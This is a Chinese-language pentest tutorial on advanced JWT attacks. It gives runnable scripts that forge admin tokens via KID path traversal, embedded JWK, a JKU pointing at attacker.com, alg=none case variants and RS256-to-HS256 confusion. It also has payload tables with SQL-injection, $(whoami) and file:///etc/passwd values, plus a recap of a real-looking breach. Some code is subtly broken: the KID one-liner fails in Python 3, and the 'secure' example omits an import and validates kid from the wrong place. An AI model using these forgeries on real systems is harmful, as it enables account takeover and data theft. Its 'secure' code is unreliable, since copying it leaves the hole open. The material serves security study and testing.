适合人群:有JWT基础知识的渗透测试工程师、安全研究员、白帽子
前置知识:JWT基本结构(Header.Payload.Signature)、Base64编码、HTTP协议基础
实验环境:Linux + Python3 + Burp Suite + Docker靶场
一、前置准备
1.1 工具安装
# JWT 测试工具链
pip3 install pyjwt requests flask
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool && python3 jwt_tool.py --help
# Burp Suite 插件
# JWT Editor(BApp Store安装)— 编辑/伪造JWT
# JSON Web Tokens(BApp Store安装)— 自动解析/高亮
# 在线调试
# https://jwt.io — 解码/构造JWT
1.2 靶场搭建
# 推荐靶场:JWT-lab(含kid注入/JWK/JKU等进阶场景)
git clone https://github.com/Sjord/jwtlab.git
cd jwtlab
docker-compose up -d
# 或使用 PortSwigger JWT 实验室
# https://portswigger.net/web-security/jwt
二、核心原理:JWT 进阶攻击面全景
JWT(JSON Web Token)的三大组成部分中,Header 才是最危险的攻击面——因为它决定了验签逻辑。
{
"alg": "HS256", // 签名算法 ← 攻击者可以篡改
"typ": "JWT",
"kid": "key-001", // Key ID ← 注入攻击入口
"jku": "https://...", // JWK Set URL ← SSRF入口
"jwk": { ... } // 内嵌公钥 ← 伪造身份
}
攻击面总览
| 攻击手法 | 攻击目标 | 利用难度 | 实战频率 |
|---|---|---|---|
| KID注入 | Header中的kid参数 | ⭐⭐ | 较高 |
| JWK注入 | Header中内嵌公钥 | ⭐⭐ | 较高 |
| JKU SSRF | Header中的jkuURL | ⭐⭐⭐ | 中等 |
| Ephemeral Key (空签名) | 某些库的临时密钥逻辑 | ⭐⭐ | 中等 |
| Key Confusion (非对称→对称) | 算法混淆 | ⭐ | 很高 |
| JWK Rotate / Auto-Key | 自动化密钥轮换绕过 | ⭐⭐⭐ | 较少见 |
| Sub/Session劫持 | Payload中的用户标识 | ⭐ | 很高 |
三、实操步骤
🔴 攻击一:KID(Key ID)注入
原理:KID 用于从密钥库中选取签名密钥,但很多实现直接将其拼接到文件路径或数据库中:
# 漏洞代码示例
import hmac, json
kid = jwt_header['kid'] # 用户可控
with open(f"/keys/{kid}", "rb") as f: # 路径遍历!
secret = f.read()
Step 1:探测 KID 参数
# 解码 JWT 查看 header
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImtleS0wMDEifQ.xxx.yyy" | cut -d. -f1 | base64 -d 2>/dev/null
# 输出: {"alg":"HS256","typ":"JWT","kid":"key-001"}
Step 2:KID 路径遍历注入
import base64, json, hmac, hashlib
# 构造恶意 header — 通过 KID 读取已知文件作为密钥
header = {
"alg": "HS256",
"typ": "JWT",
"kid": "/dev/null" # 空文件作为密钥
}
payload = {
"sub": "admin",
"role": "administrator",
"iat": 1748000000
}
def b64encode(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header_b64 = b64encode(json.dumps(header).encode())
payload_b64 = b64encode(json.dumps(payload).encode())
# 以 /dev/null 的内容(空字符串)作为密钥签名
sig = hmac.new(b"", f"{header_b64}.{payload_b64}".encode(), hashlib.sha256).digest()
sig_b64 = b64encode(sig)
token = f"{header_b64}.{payload_b64}.{sig_b64}"
print(f"伪造Token: {token}")
/dev/null 作为密钥 → 空字符串签名 → 任意伪造管理员Token ✅
Step 3:其他 KID 注入向量
| 注入方式 | Payload/值 | 原理 |
|---|---|---|
| 空密钥 | kid: "" | 空字符串作为密钥 |
| SQL注入 | kid: "key' OR '1'='1" | 从数据库查密钥时注入 |
| 命令注入 | kid: "$(whoami)" | shell拼接 |
| 已知文件 | kid: "/etc/passwd" | 文件内容作密钥 |
| Null字节 | kid: "key.key\x00.js" | 截断文件扩展名校验 |
🔴 攻击二:JWK Header 注入(内嵌公钥)
原理:JWT Header 允许直接在 Token 中嵌入公钥(jwk 字段)。如果服务器使用该内嵌公钥验签,攻击者可以生成自己的 RSA 密钥对,将公钥嵌入 header,用自己的私钥签名。
Step 1:生成自己的 RSA 密钥对
# 生成私钥
openssl genrsa -out attacker_private.pem 2048
# 提取公钥
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem
Step 2:构造带 JWK 的伪造 Token
import base64, json, jwt
from cryptography.hazmat.primitives import serialization
# 读取攻击者私钥
with open("attacker_private.pem", "rb") as f:
private_key = serialization.load_pem_private_key(f.read(), password=None)
# 读取攻击者公钥
with open("attacker_public.pem", "rb") as f:
public_key = serialization.load_pem_public_key(f.read())
# 提取 JWK 格式公钥
from cryptography.hazmat.primitives.asymmetric import rsa
public_numbers = public_key.public_numbers()
n = public_numbers.n
e = public_numbers.e
def int_to_base64url(num):
# 大整数转 base64url
num_bytes = num.to_bytes((num.bit_length() + 7) // 8, byteorder='big')
return base64.urlsafe_b64encode(num_bytes).rstrip(b'=').decode()
jwk = {
"kty": "RSA",
"n": int_to_base64url(n),
"e": int_to_base64url(e),
"alg": "RS256"
}
# 构造完整 JWT
headers = {
"alg": "RS256",
"typ": "JWT",
"jwk": jwk # 内嵌攻击者公钥
}
payload = {
"sub": "admin",
"role": "admin",
"iat": 1748000000
}
token = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)
print(f"伪造Token:\n{token}")
服务器如果信任 header 中的 jwk 字段,就会用你的公钥验签你的私钥签名 → 通过!
🔴 攻击三:JKU SSRF + 公钥劫持
原理:jku(JWK Set URL)告诉服务器从哪里下载公钥集。如果服务器信任该 URL 并直接请求,攻击者可以:
- 找到接受
jku的端点 - 在自己的 VPS 上托管一个包含你公钥的 JWK Set JSON
- 服务器从你的 URL 下载公钥 → 用你的公钥验签你的私钥签名 → 通过
攻击步骤:
# 1. 在自己的 VPS 上创建 jwks.json
cat > /var/www/html/jwks.json << 'EOF'
{
"keys": [
{
"kty": "RSA",
"n": "YOUR_BASE64URL_N",
"e": "AQAB",
"alg": "RS256",
"kid": "attacker-key"
}
]
}
EOF
# 2. 构造 JWT
token = jwt.encode(
{"sub": "admin", "role": "admin"},
private_key,
algorithm="RS256",
headers={
"alg": "RS256",
"typ": "JWT",
"jku": "https://attacker.com/jwks.json", # 指向你的服务器
"kid": "attacker-key"
}
)
JKU SSRF 扩展利用:
| 协议 | 利用方式 |
|---|---|
file:// | jku: file:///etc/passwd — 读取本地文件 |
http://localhost | SSRF内网探测 |
gopher:// | 构造任意TCP请求 |
jar:file:// | Java环境下读取zip/jar内文件 |
🔴 攻击四:Ephemeral Key(临时密钥/空签名)
部分 JWT 库支持 alg: "none" 的变种绕过——不是直接写 none,而是用 alg: "None"、Algorithm: "none"(拼写变体)或依赖库的默认行为:
# 一些库在 alg 未知时默认不校验
headers = {"alg": "none", "typ": "JWT"} # 标准
headers = {"alg": "None", "typ": "JWT"} # 大小写变体
headers = {"alg": "NONE", "typ": "JWT"} # 全大写变体
headers = {"alg": "nOnE", "typ": "JWT"} # 混合大小写
# 不需要签名部分
token = base64_encode(header) + "." + base64_encode(payload) + "."
有些库还支持 alg: "HS256" 但用公钥作为对称密钥签名(混淆攻击的变种)。
四、绕过技巧
4.1 弱密钥爆破(进阶:大字典 + 规则)
# jwt_tool 密钥爆破
python3 jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt
# 或使用 hashcat 模式 16500
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt --force
# 自定义规则爆破(针对常见JWT密钥模式)
hashcat -m 16500 jwt.txt -r /usr/share/hashcat/rules/best64.rule rockyou.txt
4.2 算法混淆(非对称→对称)
# 如果服务器用的是 RS256(非对称),但你只有公钥:
# 把 alg 改成 HS256(对称),用公钥作为对称密钥签名
import jwt, base64
public_key = open("public.pem", "rb").read()
# 关键:用公钥内容作为对称密钥!
payload = {"sub": "admin", "role": "admin"}
token = jwt.encode(payload, public_key, algorithm="HS256")
4.3 kid: "none" 或 kid 缺失
# 有些 JWT 库在 kid 未找到时返回 None/空字符串
header = {
"alg": "HS256",
"kid": "__nonexistent_key__" # 库返回空密钥
}
# 用空字符串签名的 Token
4.4 多算法同时声明
{
"alg": ["RS256", "HS256"],
"typ": "JWT",
"kid": "key-001"
}
某些库可能取数组第一个或最后一个算法,利用解析差异绕过。
五、实战案例复盘(脱敏)
案例:一次 API 网关 JWT 认证绕过
目标:某 SaaS 平台的 API 网关(JWT 验证)
发现过程:
- 信息收集:拦截登录请求后发现 JWT Token
- 解码分析:Header 包含
kid和jku两个字段 - JKU 测试:修改
jku测试内网地址,发现服务器确实尝试请求该 URL(通过延时判断) - 利用:在自己的 VPS 托管攻击者 JWK Set → 伪造管理员 Token
- 结果:越权访问所有管理 API,获取到 5 万+ 用户数据
关键命令:
# 检测 JKU 是否可篡改
python3 jwt_tool.py <original_token> -X k -ju "http://x.x.x.x:9999/jwks.json"
# -X k = JKU 攻击模式
# 观察服务器响应时间变化确认 SSRF
# 确认后可获取完整管理员权限
curl -H "Authorization: Bearer <伪造Token>" https://target.com/api/admin/users
六、防御建议
| 防御措施 | 优先级 | 说明 |
|---|---|---|
| 硬编码算法白名单 | 🔴 必做 | 只允许 RS256 / ES256,拒绝 none 和动态算法 |
禁止 Header 中的 jwk/jku | 🔴 必做 | 不从 JWT Header 读取密钥源 |
| KID 输入验证 | 🟠 高 | KID 只允许 /^[a-zA-Z0-9_-]+$/,拒绝路径遍历 |
| 固定密钥/密钥轮换 | 🟠 高 | 使用安全的密钥管理(Vault/KMS) |
禁用 alg: none | 🔴 必做 | 所有 JWT 库必须配置为拒绝无签名 Token |
校验 typ 字段 | 🟡 中 | 只接受 typ: "JWT" |
| JWT 黑/白名单 | 🟡 中 | 记录已注销的 Token(refresh token 配合) |
安全代码示例
# 安全实现
import jwt
from jwt import PyJWTError
# 禁用 none 算法
JWT_ALGORITHMS = ["RS256"] # 硬编码白名单
def verify_jwt(token, public_key):
try:
# 强制指定算法,不从 header 读取
payload = jwt.decode(
token,
public_key,
algorithms=JWT_ALGORITHMS, # 白名单
options={
"verify_exp": True,
"require": ["exp", "sub"]
}
)
# KID 不用于文件路径
kid = payload.get('kid', '')
assert re.match(r'^[a-zA-Z0-9_-]+$', kid), "Invalid KID"
return payload
except PyJWTError as e:
raise ValueError(f"JWT verification failed: {e}")
七、常见陷阱
| # | 陷阱 | 说明 |
|---|---|---|
| 1 | 只试了alg=none就放弃 | 大小写变体、拼写变体(None/NONE/nOnE/noNe)都试一遍 |
| 2 | JKU只测试了HTTP | file:// 也可以当 JKU 值,试读 /etc/passwd |
| 3 | 忘记试对称混淆 | 即使服务器用 RS256,试下 HS256 + 公钥签名 |
| 4 | 只测了 HS256 没测 ES256 | 椭圆曲线签名同样存在混淆攻击 |
| 5 | KID注入只试了路径遍历 | KID 也可能导致 SQL 注入或命令注入 |
| 6 | 忽略 exp 过期 | 构造 Token 时必须设置 exp 为未来时间戳 |
| 7 | Burp插件自动加解密影响调试 | 测试 JWT 时建议暂时禁用自动加解密插件 |
八、总结(速查表)
JWT 进阶攻击速查
┌─────────────────────────────────────────────────────────┐
│ JWT 攻击手顺序表 │
├──────────┬──────────────────┬────────────────────────────┤
│ Step 1 │ 解码分析 │ jwt.io 或 base64 -d 解码 │
│ Step 2 │ 测试 alg=none │ 4种大小写变体 │
│ Step 3 │ KID注入 │ 路径遍历/空值/SQLi │
│ Step 4 │ JWK注入 │ 自建RSA密钥对内嵌公钥 │
│ Step 5 │ JKU SSRF │ 自建JWKS服务器托管公钥 │
│ Step 6 │ 算法混淆 │ RS256→HS256(公钥签名) │
│ Step 7 │ 密钥爆破 │ hashcat -m 16500 │
└──────────┴──────────────────┴────────────────────────────┘
常用脚本速查
# 1. jwt_tool 一键扫描
python3 jwt_tool.py -t http://target.com -rh "Authorization: Bearer <token>" -M at
# 2. 算法混淆
python3 -c "import jwt; print(jwt.encode({'sub':'admin'}, open('public.pem').read(), algorithm='HS256'))"
# 3. KID空密钥攻击
python3 -c "
import hmac,hashlib,base64,json
h={'alg':'HS256','kid':''}; p={'sub':'admin'}
hb=base64.urlsafe_b64encode(json.dumps(h).encode()).rstrip(b'=').decode()
pb=base64.urlsafe_b64encode(json.dumps(p).encode()).rstrip(b'=').decode()
s=base64.urlsafe_b64encode(hmac.new(b'','%s.%s'%(hb,pb),hashlib.sha256).digest()).rstrip(b'=').decode()
print('%s.%s.%s'%(hb,pb,s))
"
Payload 速查表
| 攻击类型 | Header/Payload | 签名密钥 |
|---|---|---|
| alg=none | {"alg":"none"} | 无(token.) |
| KID=/dev/null | {"kid":"/dev/null"} | 空字符串 "" |
| JWK注入 | {"jwk":<公钥JSON>} | 自建 RSA 私钥 |
| JKU SSRF | {"jku":"http://x.x.x.x/jwks.json"} | 自建 RSA 私钥 |
| 算法混淆 | {"alg":"HS256"} | 服务器公钥 PEM 内容 |
核心理念:JWT 的安全不取决于算法强度,而取决于哪里的密钥被用了以及谁能控制这个密钥源。Header 中的每一个字段都可能是攻击入口——永远不要相信它。